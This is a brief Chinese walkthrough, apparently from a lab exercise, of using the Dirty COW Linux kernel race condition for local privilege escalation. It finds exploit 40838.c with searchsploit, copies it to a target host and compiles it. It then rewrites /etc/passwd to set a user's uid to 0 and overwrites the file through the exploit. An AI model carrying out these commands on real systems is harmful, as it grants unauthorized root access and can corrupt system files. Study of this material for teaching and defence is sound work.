0x01 脏牛
该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。
0x02 获取POC
[email protected]:~# searchsploit dirty
这里选40838.c其它的好像都不太好用
把POC发到靶机上[email protected]:~# scp /usr/share/exploitdb/platforms/linux/local/40838.c [email protected]:/home/test
0x03 提权
系统信息:
先编译POC[[email protected] ~]$ gcc -pthread 40838.c -o dc
思路:利用脏牛漏洞强制将test用户的uid改为0
[[email protected] ~]$ a=$(sed 's/test:x:500:500\(.*\)/test:x:0:0\1/g' /etc/passwd)
先将/etc/passwd中的内容取出来且test用户的uid改为0存在$a中,然后利用漏洞把原来的/etc/passwd覆盖掉
[[email protected] ~]$ ./dc /etc/passwd "$a"
这里程序运行的时间可能会有点长
运行完毕后test的uid就变成0了